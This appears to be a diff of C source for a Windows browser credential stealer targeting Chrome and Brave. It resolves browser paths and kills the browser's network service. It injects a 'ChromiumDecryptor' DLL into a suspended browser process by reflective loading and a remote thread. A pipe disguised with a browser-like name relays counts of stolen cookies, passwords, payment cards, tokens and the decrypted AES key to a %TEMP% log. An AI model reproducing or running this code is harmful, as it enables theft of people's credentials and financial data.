bool read_file_content(const wchar_t* path, char** content, size_t* size) {
|
||||
if (!path || !content || !size) return false;
|
||||
|
||||
FILE* f = NULL;
|
||||
if (_wfopen_s(&f, path, L"rb") != 0 || !f) return false;
|
||||
|
||||
fseek(f, 0, SEEK_END);
|
||||
long file_size = ftell(f);
|
||||
fseek(f, 0, SEEK_SET);
|
||||
|
||||
if (file_size < 0) {
|
||||
fclose(f);
|
||||
return false;
|
||||
}
|
||||
|
||||
*content = malloc(file_size + 1);
|
||||
if (!*content) {
|
||||
fclose(f);
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t read_size = fread(*content, 1, file_size, f);
|
||||
fclose(f);
|
||||
|
||||
(*content)[read_size] = '\0';
|
||||
*size = read_size;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool write_file_content(const wchar_t* path, const char* content, size_t size) {
|
||||
if (!path || !content) return false;
|
||||
|
||||
FILE* f = NULL;
|
||||
if (_wfopen_s(&f, path, L"wb") != 0 || !f) return false;
|
||||
|
||||
size_t written = fwrite(content, 1, size, f);
|
||||
fclose(f);
|
||||
|
||||
return written == size;
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
#ifndef BROWSER_RESOLVER_H
|
||||
#define BROWSER_RESOLVER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
typedef struct {
|
||||
wchar_t browser_id[64];
|
||||
wchar_t exe_path[MAX_PATH_LEN];
|
||||
} BrowserInfo;
|
||||
|
||||
typedef struct {
|
||||
BrowserInfo* items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} BrowserList;
|
||||
|
||||
BrowserList* browser_list_create(void);
|
||||
void browser_list_destroy(BrowserList* list);
|
||||
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
|
||||
|
||||
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
|
||||
BrowserList* browser_find_all_installed(void);
|
||||
|
||||
#endif // BROWSER_RESOLVER_H
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef INJECTION_MANAGER_H
|
||||
#define INJECTION_MANAGER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
|
||||
|
||||
#endif // INJECTION_MANAGER_H
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
#ifndef PIPE_COMMUNICATOR_H
|
||||
#define PIPE_COMMUNICATOR_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
|
||||
void pipe_destroy(PipeCommunicator* comm);
|
||||
bool pipe_wait_for_client(PipeCommunicator* comm);
|
||||
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
|
||||
bool pipe_relay_messages(PipeCommunicator* comm);
|
||||
|
||||
#endif // PIPE_COMMUNICATOR_H
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
#ifndef TARGET_PROCESS_H
|
||||
#define TARGET_PROCESS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
|
||||
void target_terminate(TargetProcess* target);
|
||||
void target_cleanup(TargetProcess* target);
|
||||
bool target_kill_network_service(const wchar_t* process_name);
|
||||
|
||||
#endif // TARGET_PROCESS_H
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#ifndef INJECTOR_TYPES_H
|
||||
#define INJECTOR_TYPES_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define MAX_PATH_LEN 512
|
||||
#define DLL_COMPLETION_TIMEOUT_MS 60000
|
||||
#define PIPE_TIMEOUT_MS 10000
|
||||
|
||||
typedef struct {
|
||||
bool verbose;
|
||||
bool extract_fingerprint;
|
||||
wchar_t output_path[MAX_PATH_LEN];
|
||||
wchar_t browser_type[64];
|
||||
wchar_t browser_process_name[64];
|
||||
wchar_t browser_exe_path[MAX_PATH_LEN];
|
||||
char browser_display_name[64];
|
||||
} InjectorConfig;
|
||||
|
||||
typedef struct {
|
||||
int total_cookies;
|
||||
int total_passwords;
|
||||
int total_payments;
|
||||
int total_tokens;
|
||||
int profile_count;
|
||||
char aes_key[256];
|
||||
} ExtractionStats;
|
||||
|
||||
typedef struct {
|
||||
HANDLE process;
|
||||
HANDLE thread;
|
||||
DWORD pid;
|
||||
USHORT arch;
|
||||
} TargetProcess;
|
||||
|
||||
typedef struct {
|
||||
HANDLE pipe;
|
||||
wchar_t pipe_name[256];
|
||||
ExtractionStats stats;
|
||||
} PipeCommunicator;
|
||||
|
||||
typedef struct {
|
||||
uint8_t* data;
|
||||
size_t size;
|
||||
} DllPayload;
|
||||
|
||||
#endif // INJECTOR_TYPES_H
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
#ifndef INJECTOR_UTILS_H
|
||||
#define INJECTOR_UTILS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
|
||||
bool create_directory_recursive(const wchar_t* path);
|
||||
bool file_exists(const wchar_t* path);
|
||||
|
||||
#endif // INJECTOR_UTILS_H
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
#include "browser_resolver.h"
|
||||
#include "utils.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
BrowserList* browser_list_create(void) {
|
||||
BrowserList* list = malloc(sizeof(BrowserList));
|
||||
if (!list) return NULL;
|
||||
|
||||
list->items = malloc(sizeof(BrowserInfo) * 4);
|
||||
if (!list->items) {
|
||||
free(list);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
list->count = 0;
|
||||
list->capacity = 4;
|
||||
return list;
|
||||
}
|
||||
|
||||
void browser_list_destroy(BrowserList* list) {
|
||||
if (!list) return;
|
||||
free(list->items);
|
||||
free(list);
|
||||
}
|
||||
|
||||
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path) {
|
||||
if (!list || !id || !path) return false;
|
||||
|
||||
if (list->count >= list->capacity) {
|
||||
size_t new_cap = list->capacity * 2;
|
||||
BrowserInfo* new_items = realloc(list->items, sizeof(BrowserInfo) * new_cap);
|
||||
if (!new_items) return false;
|
||||
list->items = new_items;
|
||||
list->capacity = new_cap;
|
||||
}
|
||||
|
||||
wcsncpy_s(list->items[list->count].browser_id, 64, id, _TRUNCATE);
|
||||
wcsncpy_s(list->items[list->count].exe_path, MAX_PATH_LEN, path, _TRUNCATE);
|
||||
list->count++;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool query_registry_value(HKEY root, const wchar_t* subkey, wchar_t* out, size_t len) {
|
||||
wchar_t buffer[MAX_PATH];
|
||||
DWORD buffer_size = sizeof(buffer);
|
||||
|
||||
LSTATUS status = RegGetValueW(root, subkey, NULL,
|
||||
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
|
||||
NULL, buffer, &buffer_size);
|
||||
|
||||
if (status == ERROR_SUCCESS) {
|
||||
wcsncpy_s(out, len, buffer, _TRUNCATE);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (status == ERROR_MORE_DATA) {
|
||||
wchar_t* long_buffer = malloc(buffer_size);
|
||||
if (!long_buffer) return false;
|
||||
|
||||
status = RegGetValueW(root, subkey, NULL,
|
||||
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
|
||||
NULL, long_buffer, &buffer_size);
|
||||
|
||||
if (status == ERROR_SUCCESS) {
|
||||
wcsncpy_s(out, len, long_buffer, _TRUNCATE);
|
||||
free(long_buffer);
|
||||
return true;
|
||||
}
|
||||
free(long_buffer);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len) {
|
||||
if (!exe_name || !out_path) return false;
|
||||
|
||||
wchar_t subkey[512];
|
||||
|
||||
const struct {
|
||||
HKEY root;
|
||||
const wchar_t* base_path;
|
||||
} locations[] = {
|
||||
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
|
||||
{ HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
|
||||
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" }
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(locations) / sizeof(locations[0]); i++) {
|
||||
swprintf_s(subkey, 512, L"%s%s", locations[i].base_path, exe_name);
|
||||
|
||||
if (query_registry_value(locations[i].root, subkey, out_path, len)) {
|
||||
if (file_exists(out_path)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
BrowserList* browser_find_all_installed(void) {
|
||||
BrowserList* list = browser_list_create();
|
||||
if (!list) return NULL;
|
||||
|
||||
const struct {
|
||||
const wchar_t* id;
|
||||
const wchar_t* exe;
|
||||
} targets[] = {
|
||||
{ L"chrome", L"chrome.exe" },
|
||||
{ L"brave", L"brave.exe" }
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(targets) / sizeof(targets[0]); i++) {
|
||||
wchar_t path[MAX_PATH_LEN];
|
||||
if (browser_resolve_path(targets[i].exe, path, MAX_PATH_LEN)) {
|
||||
browser_list_add(list, targets[i].id, path);
|
||||
}
|
||||
}
|
||||
|
||||
return list;
|
||||
}
|
||||
+162
@@ -0,0 +1,162 @@
|
||||
#include "injection_manager.h"
|
||||
#include <string.h>
|
||||
|
||||
static bool load_dll_payload(DllPayload* payload) {
|
||||
if (!payload) return false;
|
||||
|
||||
HANDLE file = CreateFileW(L"ChromiumDecryptor.dll", GENERIC_READ,
|
||||
FILE_SHARE_READ, NULL, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (file == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
DWORD file_size = GetFileSize(file, NULL);
|
||||
if (file_size == 0 || file_size == INVALID_FILE_SIZE) {
|
||||
CloseHandle(file);
|
||||
return false;
|
||||
}
|
||||
|
||||
payload->data = malloc(file_size);
|
||||
if (!payload->data) {
|
||||
CloseHandle(file);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
if (!ReadFile(file, payload->data, file_size, &bytes_read, NULL) ||
|
||||
bytes_read != file_size) {
|
||||
free(payload->data);
|
||||
CloseHandle(file);
|
||||
return false;
|
||||
}
|
||||
|
||||
payload->size = file_size;
|
||||
CloseHandle(file);
|
||||
return true;
|
||||
}
|
||||
|
||||
static void free_dll_payload(DllPayload* payload) {
|
||||
if (payload && payload->data) {
|
||||
free(payload->data);
|
||||
payload->data = NULL;
|
||||
payload->size = 0;
|
||||
}
|
||||
}
|
||||
|
||||
static DWORD rva_to_file_offset(PIMAGE_NT_HEADERS nt_headers, DWORD rva, uint8_t* base) {
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
|
||||
|
||||
for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section++) {
|
||||
if (rva >= section->VirtualAddress &&
|
||||
rva < section->VirtualAddress + section->Misc.VirtualSize) {
|
||||
return section->PointerToRawData + (rva - section->VirtualAddress);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static DWORD get_reflective_loader_offset(DllPayload* payload) {
|
||||
if (!payload || !payload->data) return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)payload->data;
|
||||
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
||||
|
||||
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)(payload->data + dos_header->e_lfanew);
|
||||
if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return 0;
|
||||
|
||||
DWORD export_rva = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (export_rva == 0) return 0;
|
||||
|
||||
DWORD export_offset = rva_to_file_offset(nt_headers, export_rva, payload->data);
|
||||
if (export_offset == 0) return 0;
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(payload->data + export_offset);
|
||||
|
||||
DWORD names_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNames, payload->data);
|
||||
DWORD ordinals_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNameOrdinals, payload->data);
|
||||
DWORD functions_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfFunctions, payload->data);
|
||||
|
||||
if (!names_offset || !ordinals_offset || !functions_offset) return 0;
|
||||
|
||||
DWORD* names = (DWORD*)(payload->data + names_offset);
|
||||
WORD* ordinals = (WORD*)(payload->data + ordinals_offset);
|
||||
DWORD* functions = (DWORD*)(payload->data + functions_offset);
|
||||
|
||||
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
|
||||
DWORD name_offset = rva_to_file_offset(nt_headers, names[i], payload->data);
|
||||
if (!name_offset) continue;
|
||||
|
||||
char* func_name = (char*)(payload->data + name_offset);
|
||||
if (strcmp(func_name, "ReflectiveLoader") == 0) {
|
||||
DWORD func_rva = functions[ordinals[i]];
|
||||
DWORD func_offset = rva_to_file_offset(nt_headers, func_rva, payload->data);
|
||||
return func_offset;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name) {
|
||||
if (!target || !target->process || !pipe_name) return false;
|
||||
|
||||
DllPayload payload = { 0 };
|
||||
if (!load_dll_payload(&payload)) return false;
|
||||
|
||||
DWORD rdi_offset = get_reflective_loader_offset(&payload);
|
||||
if (rdi_offset == 0) {
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
SIZE_T pipe_name_size = (wcslen(pipe_name) + 1) * sizeof(wchar_t);
|
||||
SIZE_T total_size = payload.size + pipe_name_size;
|
||||
|
||||
LPVOID remote_base = VirtualAllocEx(target->process, NULL, total_size,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!remote_base) {
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
SIZE_T bytes_written = 0;
|
||||
if (!WriteProcessMemory(target->process, remote_base, payload.data,
|
||||
payload.size, &bytes_written) ||
|
||||
bytes_written != payload.size) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remote_pipe_name = (LPBYTE)remote_base + payload.size;
|
||||
if (!WriteProcessMemory(target->process, remote_pipe_name, pipe_name,
|
||||
pipe_name_size, &bytes_written) ||
|
||||
bytes_written != pipe_name_size) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD old_protect = 0;
|
||||
if (!VirtualProtectEx(target->process, remote_base, total_size,
|
||||
PAGE_EXECUTE_READ, &old_protect)) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
free_dll_payload(&payload);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPTHREAD_START_ROUTINE entry_point = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_base + rdi_offset);
|
||||
|
||||
HANDLE remote_thread = CreateRemoteThread(target->process, NULL, 0, entry_point, remote_pipe_name, 0, NULL);
|
||||
|
||||
free_dll_payload(&payload);
|
||||
|
||||
if (!remote_thread) {
|
||||
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||
return false;
|
||||
}
|
||||
|
||||
CloseHandle(remote_thread);
|
||||
return true;
|
||||
}
|
||||
Executable
+150
@@ -0,0 +1,150 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
#include "browser_resolver.h"
|
||||
#include "target_process.h"
|
||||
#include "pipe_communicator.h"
|
||||
#include "injection_manager.h"
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static void init_browser_config(InjectorConfig* config, const wchar_t* browser_id, const wchar_t* browser_path) {
|
||||
wcsncpy_s(config->browser_type, 64, browser_id, _TRUNCATE);
|
||||
wcsncpy_s(config->browser_exe_path, MAX_PATH_LEN, browser_path, _TRUNCATE);
|
||||
|
||||
if (wcscmp(browser_id, L"chrome") == 0) {
|
||||
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
|
||||
strcpy_s(config->browser_display_name, 64, "Chrome");
|
||||
}
|
||||
else if (wcscmp(browser_id, L"brave") == 0) {
|
||||
wcsncpy_s(config->browser_process_name, 64, L"brave.exe", _TRUNCATE);
|
||||
strcpy_s(config->browser_display_name, 64, "Brave");
|
||||
}
|
||||
else {
|
||||
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
|
||||
strcpy_s(config->browser_display_name, 64, "Unknown");
|
||||
}
|
||||
}
|
||||
|
||||
static bool validate_config(InjectorConfig* config) {
|
||||
if (!config) return false;
|
||||
|
||||
if (config->browser_exe_path[0] == L'\0') return false;
|
||||
if (!file_exists(config->browser_exe_path)) return false;
|
||||
if (!create_directory_recursive(config->output_path)) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool run_injection_workflow(InjectorConfig* config, ExtractionStats* stats) {
|
||||
if (!config || !stats) return false;
|
||||
|
||||
memset(stats, 0, sizeof(ExtractionStats));
|
||||
|
||||
target_kill_network_service(config->browser_process_name);
|
||||
|
||||
TargetProcess target = { 0 };
|
||||
if (!target_create_suspended(&target, config->browser_exe_path)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t pipe_name[256];
|
||||
if (!generate_browser_mimic_pipe_name(config->browser_type, pipe_name, 256)) {
|
||||
target_cleanup(&target);
|
||||
return false;
|
||||
}
|
||||
|
||||
PipeCommunicator pipe = { 0 };
|
||||
if (!pipe_create(&pipe, pipe_name)) {
|
||||
target_cleanup(&target);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!injection_execute(&target, pipe_name)) {
|
||||
pipe_destroy(&pipe);
|
||||
target_terminate(&target);
|
||||
target_cleanup(&target);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool success = false;
|
||||
if (pipe_wait_for_client(&pipe)) {
|
||||
if (pipe_send_initial_data(&pipe, config->verbose,
|
||||
config->extract_fingerprint,
|
||||
config->output_path)) {
|
||||
success = pipe_relay_messages(&pipe);
|
||||
*stats = pipe.stats;
|
||||
}
|
||||
}
|
||||
|
||||
pipe_destroy(&pipe);
|
||||
target_terminate(&target);
|
||||
target_cleanup(&target);
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
static void process_all_browsers(bool verbose, bool extract_fingerprint, const wchar_t* output_path) {
|
||||
BrowserList* browsers = browser_find_all_installed();
|
||||
if (!browsers || browsers->count == 0) {
|
||||
if (browsers) browser_list_destroy(browsers);
|
||||
return;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < browsers->count; i++) {
|
||||
InjectorConfig config = { 0 };
|
||||
config.verbose = verbose;
|
||||
config.extract_fingerprint = extract_fingerprint;
|
||||
wcsncpy_s(config.output_path, MAX_PATH_LEN, output_path, _TRUNCATE);
|
||||
|
||||
init_browser_config(&config,
|
||||
browsers->items[i].browser_id,
|
||||
browsers->items[i].exe_path);
|
||||
|
||||
if (!validate_config(&config)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
printf("Processing %s\n", config.browser_display_name);
|
||||
#endif
|
||||
|
||||
ExtractionStats stats = { 0 };
|
||||
bool res = run_injection_workflow(&config, &stats);
|
||||
#ifdef _DEBUG
|
||||
if (res) {
|
||||
printf("Profiles: %d\n", stats.profile_count);
|
||||
printf("Cookies: %d\n", stats.total_cookies);
|
||||
printf("Passwords: %d\n", stats.total_passwords);
|
||||
printf("Payments: %d\n", stats.total_payments);
|
||||
printf("Tokens: %d\n", stats.total_tokens);
|
||||
if (stats.aes_key[0]) {
|
||||
printf("AES Key: %s\n", stats.aes_key);
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("Failed\n");
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
browser_list_destroy(browsers);
|
||||
}
|
||||
|
||||
int main() {
|
||||
srand((unsigned int)time(NULL));
|
||||
|
||||
wchar_t tmp_path[MAX_PATH];
|
||||
GetEnvironmentVariableW(L"TEMP", tmp_path, MAX_PATH);
|
||||
|
||||
wchar_t output_path[MAX_PATH_LEN];
|
||||
swprintf_s(output_path, MAX_PATH_LEN, L"%ls\\Log", tmp_path);
|
||||
|
||||
if (!CreateDirectoryW(output_path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
process_all_browsers(true, true, output_path);
|
||||
}
|
||||
+199
@@ -0,0 +1,199 @@
|
||||
#include "pipe_communicator.h"
|
||||
#include <string.h>
|
||||
|
||||
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
|
||||
if (!comm || !pipe_name) return false;
|
||||
|
||||
memset(comm, 0, sizeof(PipeCommunicator));
|
||||
wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);
|
||||
|
||||
comm->pipe = CreateNamedPipeW(
|
||||
pipe_name,
|
||||
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, 4096, 4096, 0, NULL
|
||||
);
|
||||
|
||||
return comm->pipe != INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
void pipe_destroy(PipeCommunicator* comm) {
|
||||
if (!comm) return;
|
||||
|
||||
if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(comm->pipe);
|
||||
comm->pipe = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
}
|
||||
|
||||
bool pipe_wait_for_client(PipeCommunicator* comm) {
|
||||
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
OVERLAPPED overlapped = { 0 };
|
||||
overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
|
||||
if (!overlapped.hEvent) return false;
|
||||
|
||||
BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
|
||||
DWORD last_error = GetLastError();
|
||||
|
||||
if (!connected && last_error == ERROR_IO_PENDING) {
|
||||
DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
|
||||
CloseHandle(overlapped.hEvent);
|
||||
|
||||
if (wait_result != WAIT_OBJECT_0) {
|
||||
CancelIo(comm->pipe);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
|
||||
CloseHandle(overlapped.hEvent);
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
CloseHandle(overlapped.hEvent);
|
||||
}
|
||||
|
||||
Sleep(200);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
|
||||
if (!comm || !msg) return false;
|
||||
|
||||
DWORD bytes_written = 0;
|
||||
size_t msg_len = strlen(msg) + 1;
|
||||
|
||||
return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
|
||||
bytes_written == msg_len;
|
||||
}
|
||||
|
||||
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
|
||||
if (!comm || !output_path) return false;
|
||||
|
||||
if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
|
||||
Sleep(10);
|
||||
|
||||
if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
|
||||
Sleep(10);
|
||||
|
||||
char path_utf8[MAX_PATH_LEN * 3];
|
||||
WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
|
||||
|
||||
if (!pipe_write_message(comm, path_utf8)) return false;
|
||||
Sleep(10);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
|
||||
const char* start = strstr(message, prefix);
|
||||
if (!start) return 0;
|
||||
|
||||
start += strlen(prefix);
|
||||
const char* end = strstr(start, suffix);
|
||||
if (!end) end = start + strlen(start);
|
||||
|
||||
char num_str[32];
|
||||
size_t len = end - start;
|
||||
if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;
|
||||
|
||||
memcpy(num_str, start, len);
|
||||
num_str[len] = '\0';
|
||||
|
||||
return atoi(num_str);
|
||||
}
|
||||
|
||||
static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
|
||||
if (!comm || !message) return;
|
||||
|
||||
if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
|
||||
comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
|
||||
}
|
||||
|
||||
if (strstr(message, "Decrypted AES Key: ")) {
|
||||
const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
|
||||
strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
|
||||
}
|
||||
|
||||
if (strstr(message, " cookies extracted to ")) {
|
||||
comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
|
||||
}
|
||||
|
||||
if (strstr(message, " passwords extracted to ")) {
|
||||
comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
|
||||
}
|
||||
|
||||
if (strstr(message, " payments extracted to ")) {
|
||||
comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
|
||||
}
|
||||
|
||||
if (strstr(message, " tokens extracted to ")) {
|
||||
comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
|
||||
}
|
||||
}
|
||||
|
||||
bool pipe_relay_messages(PipeCommunicator* comm) {
|
||||
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||
DWORD start_time = GetTickCount();
|
||||
char accumulated[8192] = { 0 };
|
||||
size_t accumulated_len = 0;
|
||||
char buffer[4096];
|
||||
bool completed = false;
|
||||
|
||||
while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
|
||||
DWORD bytes_available = 0;
|
||||
if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||
break;
|
||||
break;
|
||||
}
|
||||
|
||||
if (bytes_available == 0) {
|
||||
Sleep(100);
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE) break;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (accumulated_len + bytes_read < sizeof(accumulated)) {
|
||||
memcpy(accumulated + accumulated_len, buffer, bytes_read);
|
||||
accumulated_len += bytes_read;
|
||||
}
|
||||
|
||||
size_t pos = 0;
|
||||
while (pos < accumulated_len) {
|
||||
size_t msg_len = strlen(accumulated + pos);
|
||||
if (msg_len == 0 || pos + msg_len >= accumulated_len)
|
||||
break;
|
||||
|
||||
char* message = accumulated + pos;
|
||||
|
||||
if (strcmp(message, completion_signal) == 0) {
|
||||
completed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
parse_extraction_message(comm, message);
|
||||
pos += msg_len + 1;
|
||||
}
|
||||
|
||||
if (completed)
|
||||
break;
|
||||
|
||||
if (pos > 0 && pos < accumulated_len) {
|
||||
memmove(accumulated, accumulated + pos, accumulated_len - pos);
|
||||
accumulated_len -= pos;
|
||||
}
|
||||
else if (pos >= accumulated_len) {
|
||||
accumulated_len = 0;
|
||||
}
|
||||
}
|
||||
|
||||
return completed;
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
#include "target_process.h"
|
||||
#include <winternl.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtGetNextProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
ULONG HandleAttributes,
|
||||
ULONG Flags,
|
||||
PHANDLE NewProcessHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T BufferSize,
|
||||
PSIZE_T NumberOfBytesRead
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
|
||||
HANDLE ProcessHandle,
|
||||
NTSTATUS ExitStatus
|
||||
);
|
||||
|
||||
